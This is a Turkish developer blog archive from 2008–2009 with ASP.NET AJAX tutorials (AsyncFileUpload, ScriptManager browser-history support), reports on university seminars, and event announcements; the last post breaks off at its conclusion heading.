Ana Sayfa | English Blog | Seminer TV | Dil Cookie Sil  Blog'u Mail ile takip et!       
Daron Yöndem - AJAX
bir yazılımcının tasarıları...
 Thursday, October 01, 2009

AJAX'tan ilk bahsetmeye başladığımız yıllarda en çok aldığım sorulardan biri asenkron File Upload işlemi ile ilgiliydi. Asenkron işlem yapabilmek ve sayfanın Refresh atmaması çok hoş bir durumdu ve bu durumu istemciden sunucuya dosya yüklerken de yaşayabilmek istiyorduk. Bugünler bu gibi bir sorunu çözmek için Silverlight kullanmayı tercih etsem de özellikle 2GB'dan ufak dosyaların yüklenmesi noktasında aslında hala eski taktikler kullanılabilir.

Eminim bazılarınız "Yapılıyor zaten AJAX ile" şeklinde içinden cevap verecektir. Tabi ki yapılır fakat pek de kolay değil. İnternette bulunan çoğu çözüm seksen tane ekstra ayar gerektirirken hiçbir ayar gerektirmeden çalışan ASP.NET FileUpload kontrollerinin çoğu ise ücretli olarak karşımıza çıkıyor. Kişisel yorumumla geç kalınmış olsa da artık sonunda AJAX Control Toolkit içerisinde bir FileUpload kontrolü var!

ASP.NET için asenkron çalışan FileUpload kontrolü!

Her zamanki gibi tüm AJAX Control Toolkit kontrollerinde yaptığımız üzere ilk olarak Toolkit'in en güncel DLL'ini sitesinden bilgisayarımıza indiriyor sonra da Visual Studio içerisinde yarattığımız ASP.NET projesine Reference olarak Toolkit içerisinde DLL'i ekliyoruz. Eğer sürekli olarak AJAX Control Toolkit kontrollerini kullanacaksanız Toolbox'a da bu kontrolleri ekleyebilirsiniz.

[ASP.NET]

<%@ Register assembly="AjaxControlToolkit" namespace="AjaxControlToolkit" tagprefix="cc1" %>

Eğer Toolbox'a eklemediyseniz yukarıdaki şekilde Control Toolkit'i kullanacağınız her sayfada elle gerekli tanımlamaları yapmanız gerekiyor ki mark-up tarafında bu assembly içerisinde kontrolleri kullanabilelim. Eğer Toolbox'a kontrolleri eklerseniz zaten sürükle-bırak işlemi ile kontrolü sayfaya yerleştirebilir hale gelirsiniz. Böylece yukarıdaki kod da otomatik olarak yaratılır. İtiraf etmek gerekirse ben de otomatik yaratılanı yukarıya yapıştırdım :)

[Default.aspx]

<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>

<%@ Register assembly="AjaxControlToolkit" namespace="AjaxControlToolkit" tagprefix="cc1" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

    <title></title>

</head>

<body>

    <form id="form1" runat="server">

    <cc1:ToolkitScriptManager ID="ToolkitScriptManager1" runat="server">

    </cc1:ToolkitScriptManager>

    <div>

        <cc1:AsyncFileUpload ID="AsyncFileUpload1" runat="server" />

    </div>

    <asp:Label ID="Label1" runat="server" Text="Label"></asp:Label>

    </form>

</body>

</html>

Yukarıda basit bir ASP.NET sayfasında AsyncFileUpload kontrolünü bulabilirsiniz. Tabi sayfada ayrıca bir de ToolkitScriptManager bulunuyor ki Toolkit kontrollerini kullanabilelim. Son olarak alt tarafta göreceğiniz Label kontrolünü ise sadece sayfanın Refresh atıp atmadığını kontrol etmek için kullanacağız. Dikkatinizi çektiyse AsyncFileUpload kontrolü herhangi bir UpdatePanel içerisinde değil. Zaten normal olanda budur. Fakat eğer isterseniz AsyncFileUpload kontrolünü bir UpdatePanel içerisinde de rahatlıkla kullanabilirsiniz. İşlevsellikte herhangi bir değişiklik olmuyor.

[VB]

Partial Class _Default

    Inherits System.Web.UI.Page

 

    Protected Sub AsyncFileUpload1_UploadedComplete(ByVal sender As Object, ByVal e As AjaxControlToolkit.AsyncFileUploadEventArgs) Handles AsyncFileUpload1.UploadedComplete

        AsyncFileUpload1.SaveAs(MapPath("~/Konum/") & IO.Path.GetFileName(e.filename))

    End Sub

 

    Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        Label1.Text = Date.Now.ToLongTimeString

    End Sub

End Class

Yukarıdaki kodun ilk kısmında önemli olan şey AsyncFileUpload kontrolünün UploadedComplete eventını yakalamak. Adından da anlaşılacağı üzere Upload işlemi bittiğinde bu event çalışıyor ve biz de rahatlıkla AsyncFileUpload kontrolünün SaveAs metodu ile dosyamızı sunucuya kaydedebiliyoruz. Kaydederken de diskteki uygun bir yolu vermekte fayda var.

Alt kısımda göreceğiniz kod ise sayfa her refresh attığında sayfaya o anki saat bilgisini saniyesi ile yazdırıyor. Yaptığınız denemede göreceksiniz ki dosya yüklenmesine rağmen saat bilgisi hiç değişmeyecek. Bu da sayfanın tamamen refresh atmadığının bir kanıtı.

Animasyon göstermek istersek?

Yükleme işlemi asenkron olsa da kullanıcıya her zamanki AJAX animasyonlarından birini göstermek çok önemli. Malum zaten AJAX animasyonu olarak bahsettiğim şey aslında basit ve sürekli aynı animasyonu gösteren bir GIF dosyasından farklı değil.

Örnek AJAX Loading animasyonu.
Örnek AJAX Loading animasyonu.

Bu GIF dosyasını bildiğimiz şekilde ASP.NET sayfasına ekledikten sonra AsyncFileUpload kontrolünün ThrobberID özelliğine Image kontrolümüzün ID'sini vermemiz yeterli olacaktır.

[Default.aspx]

<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>

<%@ Register assembly="AjaxControlToolkit" namespace="AjaxControlToolkit" tagprefix="cc1" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

    <title></title>

</head>

<body>

    <form id="form1" runat="server">

    <cc1:ToolkitScriptManager ID="ToolkitScriptManager1" runat="server">

    </cc1:ToolkitScriptManager>

    <div>

        <asp:Image ImageUrl="~/ajax-loader.gif" ID="Image1" runat="server" />

        <cc1:AsyncFileUpload ThrobberID="Image1" ID="AsyncFileUpload1" runat="server" />

    </div>

    <asp:Label ID="Label1" runat="server" Text="Label"></asp:Label>

    </form>

</body>

</html>

Eğer kontrolün tasarımında da hızlı bir değişiklik yapmak isterseniz şimdilik iki farklı tasarım hazır olarak sizi bekliyor.

Kontrolde kullanılabilecek hazır iki farklı tasarım var.
Kontrolde kullanılabilecek hazır iki farklı tasarım var.

Hepinize kolay gelsin.

Thursday, October 01, 2009 9:27:14 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | ASP.NET 3.5  | 
 Tuesday, April 28, 2009

Bugün Muğla Üniversitesi'ndeydim. LINQ, WPF, Silverlight ve AJAX oturumları yaparak yine bir günde bolca bilgi paylaşımı gerçekleşti diyebilirim. Üniversitedeki gençlerin özellikle sınav sonrası olmasına rağmen seminerlerdeki enerjileri beni hayran bıraktı diyebilirim. Ne kadar şanslı olduklarını pek farkında değiller belki ama Visual Basit.NET gördükleri için bence çok ayrıcalıklılar :) Uzun süreden sonra ilk defa demolarımı rahat rahat VB ile yapabildim ve rezalet bir şekilde C# alışkanlıkları edinip VB'ye bulaştırmaya başladığımı gördüm :) Gereksiz toString'ler falan :) Her neyse...

Muğla üniversiteden mezun olan bir gencin VB.NET, ADO.NET ve SQL bilerek mezun olduğunu görmek beni çok sevindirdi. Bu üçlünün bir biri ile bağlantısını da kurduktan sonra aslında yapamayacağınız pek bir şey kalmıyor gibi. Üzerine bir de seminerlerimizdeki konuları eklerseniz süper yazılımcılar olacağınızdan emin olabilirsiniz.

Muğla Üniversitesi Seminerlerim
Muğla Üniversitesi Seminerlerim

Buradan etkinlikteki katkılarından dolayı Hasan Burak Öztürk kardeşim ve sevgili hocalarımıza çok teşekkür ediyorum. Umarım herkes için faydalı bir etkinlik olmuştur. ;)

Tuesday, April 28, 2009 8:43:29 AM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX | LINQ | Silverlight 3.0 | WPF  | 

Bugün Konya, Selçuk Üniversitesi'ndeydim. WPF MultiTouch, Silverlight 3.0 ve AJAX oturumları ile yoğun ve bir o kadar da eğlenceli bir gün geçirdik. Yine efsane potlar kırdım ama bu sefer yazdığım kodlarla :) Her neyse, konuya dönersek... Benim için biraz da duygusal bir buluşma oldu bu sene Selçuk Üniversitesi'ni ziyaretim. Geçen seneki ziyaretimde dördüncü sınıf öğrencilerinden bir grup cengaveri çok net hatırlıyordum. İşte o grup bir gördüm ki kendi şirketini kurmuş ve yurt dışında Outsource yazılım satıyor! İşte budur! Özellikle Anadolu üniversitelerini ziyaretimde gençlerin "Bu meslekte İstanbul'a gitmek lazım" şartlanmasının anlamsız olduğunu kanıtlayan bu örneği özellikle sizlerle buradan paylaşmak istedim.

Konya, Selçuk Üniversitesi Seminerlerim
Konya, Selçuk Üniversitesi Seminerlerim

Etkinlikteki katkılarından dolayı sevgili Serkan Cura'ya ve Nevzat Örnek hocamıza buradan çok teşekkür ediyorum. Umarım katılan herkese olabildiğince faydalı olmuştur. Seneye tekrar görüşmek üzere ;)

Monday, April 27, 2009 11:18:43 PM (GTB Standard Time, UTC+02:00)  #    Comments [4]   AJAX | MultiTouch | Silverlight 3.0 | WPF  | 
 Monday, March 09, 2009

Blogdan da duyurduğum üzere geçen hafta sonunu Eskişehir'de geçirdik. Yine çok zevkli bir etkinlikte iki gün boyunca yoğun bir tempo ile birçok konuya değindik. Silverlight, Oyun Programlama, WPF, LINQ, ASP.NET 3.5 vs derken yoğun bir bombardımanın altında tüm katılımcıların da yüzlerinde memnuniyetin izlerini görüyor olmak gerçekten çok sevindirici oldu. Umarım katılan herkes için olabildiğince faydalı ve efektif geçmiştir hafta sonu.

Osmangazi Üniversitesi, INETA Eskişehir Seminerleri
Osmangazi Üniversitesi, INETA Eskişehir Seminerleri

Aktivitenin organizasyonundaki katkısından dolayı sevgili MSP, Selim Özenç'e buradan çok teşekkür ediyorum. Ayrıca beni yalnız bırakmama konusundaki ısrarlı duruşu ile :) sevgili MSP, Ali Uğur Çakmak'a da çok teşekkürler. Tabi organizasyonda emeği geçen tüm diğer arkadaşları da kesinlikle unutmadım, özellikle, büyük ihtimal yakında blogdan da sizlerle paylaşacağım bir röportaj maceramız oldu ki :) dillere destan.

Eskişehir'e buradan en kısa zamanda tekrar görüşmek üzere diyerek seminerlere katılan tüm arkadaşlara çok teşekkür ediyorum.

Monday, March 09, 2009 2:08:32 PM (GTB Standard Time, UTC+02:00)  #    Comments [9]   AJAX | ASP.NET 3.5 | Silverlight 2.0 | WPF  | 
 Monday, March 02, 2009

Hafta sonu Eskişehir'deyiz! Osmangazi Üniversitesi Fen Edebiyat Fakültesi (F5 Blok) Konferans Salonu'nda iki günlük bir program ile zevkli bir hafta sonu geçirmek isteyen herkesi bekliyoruz. Etkinlik planını aşağıdaki görselde bulabilirsiniz.

INETA Eskişehir Hit Afişi
INETA Eskişehir Hit Afişi

Etkinlik serisi tamamen halka açık ve herhangi bir şekilde kayıt olmanız gerekmiyor. Görüşmek üzere...

Monday, March 02, 2009 10:29:32 AM (GTB Standard Time, UTC+02:00)  #    Comments [9]   AJAX | ASP.NET 3.5 | LINQ | Silverlight 2.0 | WPF  | 
 Friday, February 27, 2009

Son iki gündür Erzurum, Atatürk Üniversitesi'ndeydim. Silverlight, WPF, AJAX, LINQ konularına değindiğimiz ikin günlük bir serinin sonunda minik bir de DreamSpark dağıtımı yaptıktan sonra iki saatlik gecikme ile uçağıma binip dönüp dolaşım yine :) İstanbul'a döndüm. Oturumlarda şaşkınlık ile karışık bir tepkisizliğin hakimiyetine karşın aralarda aldığım tepkiler çok sıcaktı. Anadolu'daki üniversitelerin havası gerçekten çok farklı, Erzurum'da da bunu yaşadım. Gençlerin gözlerindeki ışıltı ve kaba tabiri ile doğu bölgelerindeki bu gibi etkinliklere yönelik ihtiyacın tam olarak giderilememesi tezatı beni gerçekten üzüyor. Olanaklar el verdikçe Anadolu üniversitelerine gidiş sevdamı ben de bu şekilde tatmin etmeye çalışıyorum :)

Erzurum, Atatürk Üniversitesi Seminerlerim
Erzurum, Atatürk Üniversitesi Seminerlerim

Tabi ki yine teşekkür etmem gereken onlarca dost var Erzurum'dan. Yüksel hocama ve afacana buradan selamlarımı gönderdikten sonra :) öğrenci kardeşlerimden de Mehmet Keklik'e etkinliğe vesile olması ve organizasyondaki katkısı için çok teşekkür ediyorum. Umarım seneye taptaze ve daha dolu bir etkinlik ile tekrar buluşuruz ;)

Friday, February 27, 2009 2:01:14 PM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX | ASP.NET 3.5 | LINQ | Silverlight 2.0 | WPF  | 
 Wednesday, January 28, 2009

Bu hafta sonu INETA Professional Hit etkinliğimizi gerçekleştirdik. Kayıt alımındaki sorunlara karşın etkinlik boyunca gelen olumlu tepkiler epeyce moralimi düzeltti. Level 300 hedefi ile yola çıksak da maalesef beni dinlemeyip :) oturumlardaki konularla ilgili hiç çalışmamış arkadaşlar da geldi! Umarım bir sonraki Level 300 etkinliğimizin seviyesi ile ilgili biraz da olsa fikir oluşmuştur kafalarda. Özellikle benim Silverlight oturumunda salonun yarısının hiç Silverlight ile ilgilenmemiş olması Level 300 seviyelerine çıkmamızı engelledi diyebilirim.

INETA Professional Hit İlk Gün
INETA Professional Hit İlk Gün

Neyse :) Bu her açıdan bir "ilk"ti ve hepimiz Level 300 seminerlerle ilgili bir şeyler öğrendik. Bir dahakinin daha verimli olması için bazı notlar da aldık kenara. Şimdi sıra geldi artık fotoğrafları :) ve örnek kodlar ile sunumları sizlerle paylaşmaya.

http://cid-8eca4439fd9a640f.skydrive.live.com/browse.aspx/INETA%20Professional%20Hit%20012009

Yukarıdaki adresten tüm fotoğrafları orijinal çözünürlükleri ile indirebilirsiniz. Ayrıca yukarıdaki adreste bir de Ozel.rar dosyası göreceksiniz :) O dosya içerisinden de kişisel çekilmiş fotoğraflar var.

INETA Professional Hit 2. Gün
INETA Professional Hit 2. Gün

Son olarak aşağıdaki download linklerinden de her oturumla ilgili örnekleri ve sunumları indirebilirsiniz.

28012009_ADONET.rar (1,13 MB)
28012009_AJAX.rar (75 KB)
28012009_CSHARP.rar (551,66 KB)
28012009_LifeCycle.rar (126,8 KB)
28012009_Silverlight.rar (672,98 KB)

Katılan herkese çok teşekkürler. Bir başka aktivitede görüşmek üzere ;)

Wednesday, January 28, 2009 1:45:36 PM (GTB Standard Time, UTC+02:00)  #    Comments [11]   ADO.NET Data Services | AJAX | ASP.NET 3.5 | Silverlight 2.0 | WCF  | 
 Thursday, January 15, 2009

Uzun bir aradan sonra tekrar İstanbul'da güzel bir etkinlik ile karşınızdayız. Ankara ve İzmir derken biraz İstanbul'u boşladığımızı kabul ediyorum. Ama önümüzdeki dönemde bolca telafilerimiz olacak. Gelelim konumuza; INETA Professional Hit!

İki günlük bir etkinlik dizisi ile bu sefer Microsoft binasında buluşuyoruz. Fakat farklı bir şeyler var! Türkiye'de ilk defa tamamen Level 300 ve üstü oturumlardan oluşan halka açık bir aktivite yapıyoruz. Gelin bu konuyu biraz açıklığa kavuşturalım ve şu Level konusuna göz atalım.

  • Level 100: Bahsi geçen konuya giriş ve genel anlatım içerir. Katılımcıların oturumun konusu ile ilgili herhangi bir bilgi birikimine sahip olmadıkları ön görülür.
  • Level 200: Level 100 bilgisine sahip olunduğunu ve buna ek olarak anlatılacak konu ile ilgili genel bir bilgi birikiminin katılımcılarda olduğu var sayılır. Genelde bu oturumlarda anlatılan teknolojilerin detayları ve kullanım alanları ile ilgili gerçek hayat senaryoları işlenir.
  • Level 300: Anlatılacak konu ile ilgili Level 200 bilgisine sahip olunduğu düşünülür. Bu oturumlarda bahsi geçen teknolojilerin uç noktada kullanımına dair örnekler derinlemesine işlenir.
  • Level 400: Bu oturumlar uzmanından uzmanına oturumlardır. Anlatılan teknoloji ile ilgili en gelişmiş ve üst seviyeli bilginin aktarıldığı bu oturumlar ürünlerin üst sınırlarını zorlayan oturumlardır.

Gördüğünüz gibi normal şartlarda bizim INETA tarafındaki etkinliklerimiz ağırlıklı olarak Level 100 ile Level 200 arasında dolaşıyor. Genel olarak baktığımızda bu seviyenin üzerinde etkinliklerin eksikliğini sizler de değerlendirme formlarında defalarca dile getirdiniz. INETA Professional Hit tamamen uzmanlara hitap eden Level 300 ve Level 400 oturumlar içeriyor. Bu kapsamda giriş seviyesi bir beklenti ile etkinliğe gelmemekte fayda var. Giriş seviyesi için yakın zamanda bir etkinliğimiz daha olacak.

Program içeriğimiz ve oturumların seviyeleri şu şekilde;

24 Ocak

10.00-12.30 Silverlight ile Veri Uygulamaları - Daron Yöndem - Level 300
13.00-16.00 ADO.NET Data Services - Burak Selim Şenyurt - Level 300
16.30-18.00 SharePoint üzerinde özel kolon geliştirmek - Nezih Tınas - Level 400

25 Ocak

10.00-12.30 Derinlerde C# 3.0 - Burak Selim Şenyurt - Level 300
13.00-15.00 ASP.NET AJAX 4.0 - Daron Yöndem - Level 300
15.30-18.00 Asp.Net Application ve Page LifeCycle - Oğuz Yağmur - Level 300

Etkinlik Microsoft İstanbul ofisinde olacak. Adres şu şekilde; Bellevue Residence, Levent Mahallesi Aydin Sokak, No: 7 Levent

Etkinliğe katılabilmeniz için aşağıdaki adresten kayıt olmanız gerekiyor.

http://daron.yondem.com/kayit/

Çok yakında giriş seviyesi etkinliklerde de görüşmek üzere.

Thursday, January 15, 2009 2:40:01 AM (GTB Standard Time, UTC+02:00)  #    Comments [23]   ADO.NET Data Services | AJAX | ASP.NET 3.5 | SharePoint | Silverlight 2.0  | 
 Friday, January 02, 2009

Yeni yılda hayatınızı kolaylaştırma yolunda iddialıyım :) Bu sefer de benim işimi çok kolaylaştıran bir aracı sizlerle paylaşacağım.

Visual Studio içerisinde F5'e bastığımızda System Tray'de beliren "ASP.NET Development Server"'ı hatırlarsınız. Aslında adı "Cassini" olan bu server işimizi epeyce kolaylaştırır ve bizim her sererinde IIS'te sitemizi veya uygulamamızı ayarlamamızı gerektirmeden uygulamanın sanal bir sunucu ortamında test edilmesini sağlar.

Peki hiç herhangi bir projenizi doğrudan çalıştırıp görmek istediğinizde mecburen Visual Studio ile açıp F5'e bastığınız oldu mu? :) Veya mecburen IIS'te web site ayarlamak zorunda kaldınız mı? sadece sitenizi çalıştırabilmek için? İşte bu işkence aslında sürekli yaşadığımız bir süreç ve çok kolay bir çözümü var. Biz de Visual Studio gibi gidip Cassini'yi kullanabiliriz.

Aslında Cassini bizim bilgisayarlarımızda WebDev.WebServer.exe olarak yüklü bulunuyor. Tabi ki EXE'yi doğrudan alıp taşıyamazsınız, çok sayıda bağlantılı DLL vs de söz konusu. Ama biz bu EXE'ye doğru parametreleri gönderirsek aynı Visual Studio'nun kullandığı gibi herhangi bir klasördeki dosyaları web sunucudaymış gibi çalıştırabiliyor. Bu EXE'nin nasıl kullanıldığını merak edenleri veya birazdan sizlerle tanıştıracağım uygulamanın nasıl yazıldığını merak edenleri İngilizce blogumdaki bir yazıya davet edebilirim :)

Sağ tıkla sunucudaaymış gibi çalıştır!
Sağ tıkla sunucudaaymış gibi çalıştır!

Gelelim sadede... Infragistics'te çalışan J. Ambrose Little tüm bunları yaparak uygulamayı da bir SETUP paketi şeklinde hazırlamış ve bununla da kalmamış ve bu sistemi işletim sisteminin context menü'süne bağlamış. Yani özetle; herhangi bir klasöre sağ tıklayıp "ASP.NET 2.0 Web Server Here" dediğizde Cassini açılıyor ve söz konusu klasör içerisindeki uygulama server üzerinden çalıştırılıyormuş gibi karşınıza çıkıyor. Aynı Visual Studio'da F5'e basmış gibi :)

Uygulamayı aşağıdaki linkten bilgisayarınıza indirip yükleyebilirsiniz.

Cassini Web Server Launcher - 02012009_1.msi (355 KB)

ASP.NET 2.0 dediğine bakmayın 3.5 SP1 ile herhangi bir sorunu yok.

Hepinize kolay gelsin...

Friday, January 02, 2009 12:57:26 PM (GTB Standard Time, UTC+02:00)  #    Comments [10]   AJAX | ASP.NET | ASP.NET 3.5 | Silverlight | Silverlight 2.0  | 
 Monday, December 29, 2008

Bu aralar birçok yazıma "gelen maillerde de sürekli istediğiniz gibi" şeklinde cümlelerle başladığımı görünce aslında bir süredir sizden gelen istekleri yerine getirmekle uğraştığımın farkına vardım :) İşte bu yazımda da böyle bir konu söz konusu. Bana gelen maillerde benden AJAX anlatmamı isteyenler oluyor ve neden ajax semineri vermediğimi soranların sayısı epey fazla. Aslında tam olarak kesin bir cevabı yok bu sorunun. Sanırım AJAX kelimesinin pazarlama anlamında tükettiğimiz içindir! Bu tüketimin sonucunda o kadar çok "AJAX AJAX" denilen dönemler yaşadık ki sanki herkes AJAX'ı yuttu ve biliyor gibi bir izlenim oluştu ki bu tamamen YANLIŞ!

Maalesef kimse AJAX falan bilmiyor! UpdatePanel kullanmanın bile herşeyiyle bilinmediğini iddia edebilirim ki UpdatePanel'in AJAX dünyasında yeri cidden komiktir. O nedenle ben de bir süre önce bir AJAX seminer ayarladım ve semineri videoya kaydettim. Şimdi sizinle bu video yu paylaşıyorum.

Video tabi ki giriş seviyesi, daha anlatmak istediğim çok şey var. Umarım bir gün İleri AJAX semineri verme şansım da olur, böylece onun da videosunu buradan sizinle paylaşırım.

Yukarıdaki videoyu bilgisayarına indirmek isteyenler blogumun SeminerTV bölümünden bunu yapabilirler ;)

İyi seyirler...

Monday, December 29, 2008 9:01:32 PM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX | ASP.NET 3.5  | 
 Thursday, December 25, 2008

Bugün sabahtan Bursa Uludağ Üniversitesi'ndeydim. Hazır Microsoft'un Gençsen Geleceksin etkinliği için gitmişken üniversiteye biraz daha erken gidiyim ve arada bir de ASP.NET 3.5 AJAX semineri yapalım dedim. Yaklaşık sanırım 2.5 saat süren bir AJAX semineri sonrasında Gençsen Geleceksin kısmını da tamamlayarak Uludağ Üniversitesi'nden ayrıldım.

Uludağ Üniversitesi, Bursa
Uludağ Üniversitesi, Bursa

Aslında bu AJAX seminerini yapmamın özel bir nedeni var. AJAX biraz eskimiş bir terim olarak gözükse de işin gerçeği Türkiye'de AJAX'ı ve özellikle Microsoft'un AJAX Framework'ünün detaylarını bilen kişi sayısı hala ciddi şekilde kısıtlı. Herkes UpdatePanel'den ötesini bilmiyor. Bu derdime ek olarak bir de arada sırada aldığım "Hocam niye AJAX anlatmıyorsunuz?" maillerini de katarsak ortaya Uludağ Üniversitesi'ndeki AJAX seminerim çıktı. 2.5 saatte herşeyi anlatabildim diyemem, seminerin sonuna doğru bazı şeyleri hızlı geçmem gerekti ama en azından güzel bir giriş oldu. Tabi ki seminerin tamamını videoya da kaydettik ve yakında sizlerle blogumun SeminerTV bölümünden paylaşacağım. Böylece artık mail atmadan AJAX seminerimi webden izleyebileceksiniz.

Uludağ Üniversitesi'ndeki organizasyonlardaki katkısından dolayı özellikle sevgili Muhammed Medeni Baykal kardeşime buradan çok teşekkür ediyorum. Evet biliyorum daha organizasyona katkısı olan bir çok kardeşim var :) onları da buradan kucaklıyor ve çıkışta İskender yemeye gelmedikleri için kınıyorum :)

Thursday, December 25, 2008 3:25:22 AM (GTB Standard Time, UTC+02:00)  #    Comments [9]   AJAX | ASP.NET 3.5  | 
 Sunday, November 23, 2008

Deep Zoom konusunda daha önce de makaleler yazmış hatta güzel bir de 3D örneği sizlerle kaynak kodları ile paylaşmıştım. Deep Zoom uygulamalarını ve fotoğraf paketlerini hızlı bir şekilde oluşturmamızı sağlayan Deep Zoom Composer yeni sürümü ile karşımızda. Aşağıdaki adresten uygulamayı bilgisayarınıza indirebilirsiniz.

http://xpression2.members.winisp.net/DZC/Deep%20Zoom%20Composer.msi

Yeni neler var?

En büyük yenilik artık Silverlight DeepZoom'un haricinde JavaScript bazlı DeepZoom projeleri de yaratabiliyor olmamız. Yanlış duymadınız :) DeepZoom işlevselliği sağlayan JavaScript bazlı çıktılardan bahsediyorum. Tabi ki JavaScript ile beslenen bu yapının Silverlight gibi bir işlemci kullanımına sahip olmasını bekleyemeyiz, ayrıca geçişler arası animasyonlar vs de yok. Ama Silverlight'a bir alternatif olarak yerine göre belki uygun bir çözüm de olabilir.

SeaDragon AJAX seçeneği JavaScript bazlı Deep Zoom projesi yaratıyor.
SeaDragon AJAX seçeneği JavaScript bazlı Deep Zoom projesi yaratıyor.

Bunun haricinde arka tarafta bir çok bug'ın giderilmesinin yanı sıra Deep Zoom Composer'ın Image Set'leri oluşturan kodlarının da ayrı DLLler haline getirilmesi gibi işlemler var. Böylece kendi Deep Zoom Composer'ınızı da yazabilirsiniz ;)

Hepinize kolay gelsin.

Sunday, November 23, 2008 2:25:29 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Silverlight 2.0  | 
 Thursday, August 14, 2008

AJAX kullanılan sitelerde tarayıcıların "Geri" düğmesinin çalışmaması sorunu ile ilgili farklı JavaScript kütüphanelerinde çözümler bulunsa da ASP.NET ile sunucu tarafında kullanılabilecek tek bir çözüm vardı. Aşağıdaki adresten söz konusu çözüm ile ilgili makaleyi inceleyebilirsiniz.

http://daron.yondem.com/tr/PermaLink.aspx?guid=1e6b22ff-cf0b-4927-a396-4eb5446daaa4

Bahsettiğimiz çözüm ASP.NET harici özel bir sunucu kontrolünün kullanılmasına dayalı. Oysa artık bunlara ihtiyacımız yok. .NET Framework 3.5'in SP1 güncellemesi ile beraber artık ASP.NET AJAX altyapısı istemci tarafındaki tarayıcı geçmişinin de kontrol edilebilmesine olanak tanıyor. Gelin sistemin kullanım şeklini beraber inceleyelim.

ScriptManager'da yeni bir özellik : EnableHistory

Ufak bir örnek yaparak uygulama üzerinden ilerleyelim. Örneğimizde sayfamızda UpdatePanel içerisinde bir Label ve bir de Button bulunsun. Düğmeye her bastığımızda basit bir şekilde Label'ın içerisindeki sayıyı bir arttırsın. Amacımız bu şekilde UpdatePanel'in içi değişirken tarayıcının geçmişini de yenileyerek tarayıcıdaki "Geri" ve "İleri" düğmelerinin çalışmasını sağlamak.

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

    <title></title>

</head>

<body>

    <form id="form1" runat="server">

    <asp:ScriptManager EnableHistory="true" ID="ScriptManager1" runat="server">

    </asp:ScriptManager>

    <div>

        <asp:UpdatePanel ID="UpdatePanel1" runat="server">

            <ContentTemplate>

                <asp:Label ID="Label1" runat="server" Text="0"></asp:Label>

                <asp:Button ID="Button1" runat="server" Text="Button" />

            </ContentTemplate>

        </asp:UpdatePanel>

    </div>

    </form>

</body>

</html>

Yukarıdaki örnek sayfa içerisinde gördüğünüz kodun normal bir ASP.NET AJAX uygulamasından tek farkı ScriptManager kontrolünün EnableHistory özelliğinin True olarak ayarlanmış olması. Bu özellik ScriptManager kontrolüne .NET Framework 3.5 SP1 güncellemesi ile beraber eklendi. Tabi sadece bu ayarı değiştirmiş olmak her şeyin çalışması için yeterli değil.

AJAX ile sayfada yapılan değişikliklerin hangilerinin birer "yeni sayfa" niteliği taşıdığına karar vermemiz gerekiyor. Böylece tarayıcı doğru durumları kendi geçmişine ekleyecektir. Bunun için sayfamızın kod kısmına geçerek bizim örneğimizde AJAX isteğine neden olan Button kontrolünün arkasında saklı koda göz atalım.

[VB]

    Protected Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click

        Label1.Text = CInt(Label1.Text) + 1

        ScriptManager1.AddHistoryPoint("sayi", Label1.Text)

    End Sub

[C#]

    protected void Button1_Click(object sender, EventArgs e)

    {

      Label1.Text = (int.Parse(Label1.Text) + 1).ToString();

      ScriptManager1.AddHistoryPoint("sayi", Label1.Text);

    }

Gördüğünüz üzere kodumuzun ilk satırında basit bir şekilde Label içerisindeki değeri bir arttırıyoruz. Son olarak elde ettiğimiz değeri ayrıca ScriptManager üzerinden AddHistoryPoint komutu ile istemci tarafında bir tarayıcı geçmişi noktası olarak kaydediyoruz. AddHistoryPoint komutu toplamda iki parametre alıyor (Key/Value Pair), birincisi sizin tamamen kendi isteğinize göre tanımlayabileceğiniz bir string değer, diğeri ise bu string değer ile eşleşen değişkenin ta kendisi. Örneğin eğer web sayfamız farklı ürünlerin gösterildiği bir sayfa olsaydı bu noktada string değer olarak "ID" verip ikinci parametre olarak da gösterilen ürünün primary key değerini aktarabilirdik. Tüm bu değerler bize ileride geri döndürülüyor olacak.

Tarayıcı geçmişine yeni bir nokta ekledik ve tarayıcımızı sayfanın değiştiğinden haberdar ettik. Hatta değişen sayfa ile ilgili ufak bir bilgiyi de AddHistoryPoint sayesinde kaydetmiş olduk. Şimdi sıra geldi web sitemizin kullanıcısı tarayıcının "Geri" veya "İleri" tuşlarına tıkladığında bizim durumu nasıl algılayarak uygun hareketleri yapacağımızı belirlemeye. Bunun için sunucu tarafında ScriptManager'ın Navigate adındaki event-handler'ını kullanacağız.

[VB]

    Protected Sub ScriptManager1_Navigate(ByVal sender As Object, ByVal e As System.Web.UI.HistoryEventArgs) Handles ScriptManager1.Navigate

        Label1.Text = e.State("sayi")

    End Sub

[C#]

    void ScriptManager1_Navigate(object sender, HistoryEventArgs e)

    {

        Label1.Text = e.State["sayi"];

    }

Navigate event-handler'ına gelen HistoryEventArgs üzerinden State dizisine daha önce AddHistoryPoint derken verdiğimiz anahtar stringi ilettiğimizde eşleştirilmiş olan değeri alabiliyoruz. Böylece kullanıcı bir önceki sayfaya gitmek istediğinde o sayfa yaratılırken eklemiş olduğumuz HistoryPoint ile eşleştirilmiş değeri yakalayabileceğiz. Bizim örneğimizde sayfayı eski haline getirmek için söz konusu değeri Label'ın içine aktarmak yeterli oluyor. Eğer bu değer bir ürüne ait primary key olsaydı tekrar veritabanını sorgulayarak sayfayı uygun verilerle dolduracak bilgileri çekecektik.

Sonuç

